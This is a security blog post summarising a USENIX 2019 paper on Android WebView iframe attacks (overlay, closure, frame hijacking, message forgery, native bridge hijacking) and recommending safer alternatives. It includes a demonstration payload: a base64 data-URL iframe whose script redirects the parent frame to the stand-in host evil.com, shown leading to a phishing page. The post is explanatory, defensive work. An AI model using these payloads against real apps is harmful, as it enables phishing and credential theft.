Contents

WebView - Android's most convenient footgun

Retro iframe security issues making a comeback

Imagine you’re a web developer who’s got a little bit of Android experience. You’ve built a progressive web app—it’s beautiful, functional, responsive. Everything the user sees was meticulously placed and crafted with purpose. You’re proud of what you’ve done. Why wouldn’t you be? Now. How do you take this web-centric experience and apply an Android veneer? Like most devs, you’ll probably find yourself reaching for a WebView. It presents a web page as the app’s interface, along with a basket of other features. Incredibly convenient!

Lets say your site has an interface that’s constantly being updated. Would you want to deploy a new build for each change? Of course not. Pull that shit in dynamically with a WebView. This way, your users get the benefit of a native platform, with the update speed of a live website.

WebViews offer complete customization over the UI. To get the same level of control, the alternative would be to either use the built-in components that Android provides, combine them, or create your own from scratch. Basically, with WebViews:

  • No need to redeploy for every change.
  • Quick testing with common tools that web developers are already used to.
  • Native app can utilize web app functionality which may not have proper API’s (yet).
  • Customizability with lower effort.

As you might expect, this doesn’t come for free. When implemented incorrectly, there could be extensive security implications. WebView ushers in convenience, but it also significantly increases attack surface. Security researchers have wasted no time exploring attack vectors believed to be mitigated on browsers, but are still viable within WebViews.

In this article, we explore a paper by GuangLiang Yang, Jeff Huang, and Guofei Gu presented at USENIX 2019. They investigate the previously well-understood topic of <iframe> security, but within the context of a WebView. The paper focuses on what they’re naming Differential Context Vulnerabilities (DCV). A web page running within a WebView, as opposed to running in a browser, can introduce vulnerabilities given the differences of the context it may run in. They discovered that although most vulnerabilities have had safeguards introduced in traditional browsers, those same mitigations are either ineffective or impossible to apply within the context of WebViews.

We’ll take a look at some of the attacks they propose.

Design Flaws

WebViews are an interesting target for two primary reasons: their compact design, and their wealth of settings ripe for misconfiguration.

Compact Design

All attacks take advantage of the fact that unlike traditional browsers, WebViews do not provide enough context for the end user whenever navigation occurs. Browsers have address, navigation and status bars, in addition to tab controls. It’s easy for a user to tell what page they’re on and when they’re navigating away from it. This is not the case for WebViews, which simply renders the topmost page within its rendering queue.

Insecure settings

The authors do not claim that all WebViews are insecure. Rather, they focus on an insecure combination of settings that an app developer may utilize:

Setting/MethodImpact
WebSettings.setJavaScriptEnabled(true)Allows pages to execute JavaScript
WebSettings.setJavaScriptCanOpenWindowsAutomatically(true)JavaScript can call window.open()
WebSettings.setSupportMultipleWindows(true)Popups are rendered in new WebViews
ViewGroup.addView()Adds a new view to the top of a ViewGroup
WebChromeClient.onCreateWindow()Allows custom implementation of how popup creation is handled
WebChromeClient.onCloseWindow()Handler for when JavaScript calls window.close() or other window close events

Not all settings need to be set in order to deem an application vulnerable. Each setting is potentially dangerous on its own, but even more so when combined with others. We’ll explore how attacks make use of vulnerabilities brought about by misconfiguration.

Attacks

For the following examples, we’ll assume this page structure is loaded into a WebView: Frame Layout

  • Parent page is loaded into a WebView via the WebView.load*() family of methods.
  • This parent page embeds an <iframe> from a trusted source https://trusted.com.
  • https://trusted.com embeds an <iframe> from an untrusted source https://ads.com.
  • https://ads.com may (un)intentionally serve up a malicious <iframe>, depending on the ad content.
Note
For max attack success, we’ll assume that the malicious ad does not retrieve frame contents from a remote url, but instead uses a data URL. More on this later.
Info
Since we’re interested in looking at failure scenarios we’ll assume that no sandbox is applied to any <iframe>.

Navigation Attack
Traditional navigation attack
This simple attack capitalizes on WebView’s lack of navigation elements. On click, a link redirects the top frame to a malicious page. An untrusted <iframe> could embed a link that navigates the parent frame to a malicious page:
Navigation Attack Link
Navigates the top frame to a malicious site

Once clicked, the WebView is redirected with no clear indication. The user is none the wiser.

Privileged Navigation Attack

In addition to the navigation attack, which applies to all browsers, Android is vulnerable to a variant that can bypass sandbox _top navigation restrictions if the <iframe> is allowed to create popups (no sandbox, or sandbox sets allow-popups).

If a frame opens a popup, Android will always try to select a WebView to render the popup. If SupportMultipleWindows is set to false, then no window is created for the popup. Therefore, Android selects the current WebView, essentially navigating the parent frame anyway.

Privileged Navigation Attack
Privileged navigation attack specific to Android

Warning
If JavaScriptEnabled and JavaScriptCanOpenWindowsAutomatically are both true, then the frame can also create a popup with window.open() or showModalDialog()

Overlay Attack

Overlay Attack
Hijacking UI with an overlay attack
Like the privileged navigation attack, an overlay attack takes advantage of Android’s ViewGroup rendering mechanics and WebView misconfiguration. A WebView is susceptible if:

  • SupportMultipleWindows is set to true.

and/or

by default, whenever a popup is created and SupportMultipleWindows is true, Android will create a new WebView and add it to the same parent ViewGroup as the current WebView. It’ll become the last child of the parent. When Android renders views within a ViewGroup, it starts by drawing the first child. It then iterates through the ViewGroup’s children, rendering each view on top of the last. Because the popup WebView is the last child of the ViewGroup, it’ll be the topmost rendered view. It’s the only thing the user can see. To gain full control of the UI, a misbehaving <iframe> only needs to create a popup!

Closure Attack

Closure Attack
Hijacking UI with a closure attack

What if the app uses ViewGroup.addView(view, 0) as part of it’s onCreateWindow handler? This is in fact a mitigation for overlay attacks, but the app could still be in danger. If WebChromeClient.onCloseWindow() is overwritten and JavaScriptEnabled is true, then the app is susceptible to closure attacks. They work like this:

  1. Frame creates a popup. Android creates and appends a new WebView containing the popup to the ViewGroup.
  2. Popup calls window.close() on the original parent frame. onCloseWindow() has a naive implementation—it doesn’t check whether the parent WebView is being closed, and closes it anyway.
  3. Parent WebView is removed from ViewGroup. Popup WebView is all that remains.
  4. The user only sees the popup. The UI has been hijacked.

Origin Hiding

So far, all the previous attacks require a user to interact with a malicious element. Because of the same-origin policy (SOP), even if JavaScript is enabled, none of the malicious frames are able to automatically navigate the _top frame. That would require both frames to share the same origin.

Origins are equivalent whenever their protocol, host, and port match. Two null origins are also equivalent—but when is an origin null? According to the HTML specification, browsers are required to treat data URL origins as opaque values. This is handy in instances where media needs to be loaded without violating the SOP. In summary, if the parent frame has a null origin, then any child frame with a null origin is part of the same origin, and is no longer in violation of the SOP.

For general browsing, it’s rare to find a legitimate use case where a parent page needs be loaded in via a data URL. However, in an Android application it’s acceptable to initialize a WebView with an inline HTML snippet instead of retrieving it from a remote URL.

Consider this example:

1
2
3
4
String html =
     "<html><body>My Widget <iframe src=\"https://trusted.com\"></iframe></body></html>";
String encodedHtml = Base64.encodeToString(unencodedHtml.getBytes(), Base64.NO_PADDING);
webView.loadData(encodedHtml, "text/html", "base64");

webView is initialized with an HTML snippet describing a simple widget which pulls in an <iframe> from a trusted site. Because webView was initialized with inline data, the parent frame’s origin is null. Therefore, any child frame sourced from a data url that trusted.com or its children produce will have the same origin as the parent frame. Any null origin child frame is essentially granted full control.

Info
For the next examples, assume that JavaScriptEnabled is true in the parent WebView.

Frame Hijacking

If an <iframe> has full control over it’s parent, the simplest thing to do with this power is to navigate the parent frame to a malicious page. Since WebView does not make it apparent when navigation occurs, phishing pages become much more convincing.

Let’s assume that trusted.com embeds <iframe src="https://ads.com>. Unbeknownst to trusted.com, ads.com is hosting a malicious ad. The malicious ad wants to navigate the parent to evil.com. The malicious ad is running inside the ads.com frame, so it’s origin is https://ads.com. According to the SOP, it can’t navigate the parent. What it can do, however, is create another child frame from a data URL. This child frame shares the same origin with the parent frame, so it can do whatever it likes!

First, let’s look at the source of this malicious child frame:

1
2
3
4
5
<html>
<body>
	<script>top.window.location = "https://evil.com";</script>
</body>
</html>

It is then converted to a base64 data URL:

1
data:text/html;base64,PGh0bWw+Cjxib2R5PgoJPHNjcmlwdD50b3Aud2luZG93LmxvY2F0aW9uID0gImh0dHBzOi8vZXZpbC5jb20iOzwvc2NyaXB0Pgo8L2JvZHk+CjwvaHRtbD4=

Then the malicious ad embeds it as an <iframe>:

1
2
3
4
5
6
<html>
<body>
	<h1>I serve ads!</h1>
	<iframe src="data:text/html;base64,PGh0bWw+Cjxib2R5PgoJPHNjcmlwdD50b3Aud2luZG93LmxvY2F0aW9uID0gImh0dHBzOi8vZXZpbC5jb20iOzwvc2NyaXB0Pgo8L2JvZHk+CjwvaHRtbD4="></iframe>
</body>
</html>

As soon as this ad loads, the parent frame is navigated to evil.com automatically. Here’s what it looks like slightly slowed down. In this example the malicious ad hijacks the parent frame and loads a Facebook phisher:

Frame Hijacking
Android app automatically redirected by frame hijacking

Message Forgery

Message Forgery
Forging messages between frames
Consider the case where the parent frame needs to communicate with a trusted child frame via the postMessage API. The parent issues a message like the following:

1
window.frames[0].postMessage("Hello from parent!", "https://trusted.com")`;

The trusted.com frame listens for messages. It knows the parent frame has a null origin, so it checks for this whenever it receives a message and only acts if the message comes from an expected origin:

1
2
3
4
5
window.onmessage = function(event) {
	if (event.origin === "null") {
		// Do a privileged action
	}
}

With this scheme, ads.com may not postMessage() to trusted.com because any message sent will have an unacceptable https://ads.com origin. However, as described earlier, a malicious ad can embed a child frame with a null origin. Similar to frame hijacking, the child frame effectively becomes the parent frame. If the parent can communicate with trusted.com, then so can the child. This could be bad news if the trusted frame implements sensitive functionality.

Native Bridge Hijacking

Mobile Bridge Hijacking
Accessing privileged operations through the native bridge
The primary purpose of a WebView is to present a native Android interface served from the web. Compared to native applications, web pages are limited in how they can interact with the client device. Missing native functionality could be jarring to an end user who may not be aware they’re viewing a web page. In order to bridge this semantic gap, WebView allows an application developer to inject JavaScript interfaces granting access to native Java objects within the web app. If used carelessly, this functionality could allow privileged access to untrusted code.

In the example diagram, let’s assume that the app exposes some APIs to the web application:

  • createNotification() - Creates a native notification for the application.
  • getHistory() - Gets complete browsing history.
  • getCredential() - Gets a credential from the device’s credential store.
Note
I don’t know why an app might surface this functionality to a web page, but just go with it 🙃

Each method does origin checking, but clearly this is insufficient. Here the parent frame creates a notification. The native bridge allows it because it expects a null origin. Next, “for better ad personalization”, the ads.com frame tries to get complete browser history. The bridge rejects it, citing an unacceptable origin. Unfortunately, because It’s malicious child shares the null origin, the native bridge allows it to retrieve credentials!

Alternatives

There’s no doubting WebView’s utility. It facilitates rapid development, encourages cross-platform consistency, and could be used as a powerful stopgap on its own. But as we have seen, if implemented incorrectly, it could greatly increase an application’s vulnerable surface area. Google realizes this and provides more secure alternatives.

Chrome Custom Tabs

If you simply want to render a view from the web, and this view may redirect users outside your domain, opt for Chrome Custom Tabs. It’s a robust solution which addresses some of the design flaws explored above. Some features to highlight :

  • A toolbar! Users know when navigation occurs. The application can even register a navigation callback before external navigation occurs.
  • Shared sessions and cookie jar with the user’s default browser.
  • Pre-warming in the background for pages that a user is likely to visit

Trusted Web Activities

If full screen web content is a must, and you don’t need to mix native and web components, then Trusted Web Activities (TWA) are the recommended approach. They verify that the page being loaded is in fact what the application expects. If a loaded page fails verification, the app falls back to showing Chrome Custom Tabs, making it clear that an external navigation occurred. If the application requires multiple origins, TWA has you covered.

Conclusion

If you need to serve up content from the web for your application, considering using trusted alternatives. If you absolutely must use a WebView, be wary of how you configure settings. Make sure all untrusted content is sandboxed.

This article summarizes findings from the excellent DCV paper presented at USENIX 2019. Not discussed is the automated vulnerability scanning tool they built, which they used to survey 17,000 of the most popular apps on the Google Play store. Of these, 4358 were found to be potentially vulnerable including Facebook, Instagram, Skype, Kayak, and other leading applications. I highly recommend you read it for yourself!

Of course, If you’ve got feedback for me, I’m only a tweet away 😊

byte.how
Hi! I'm Omar, a software engineer with a Cybersecurity addiction. I write about software, security, automation, and infrastructure. Teaching is the quickest way to mastery. Writing is thinking. Here, you'll find my thoughts on what's caught my interest. Anything I've come across as a senior security engineer, my studies pursuing a Master's in Cybersecurity, or tinkering is fair game. Ultimately, my goal is to make difficult concepts less difficult for the next person.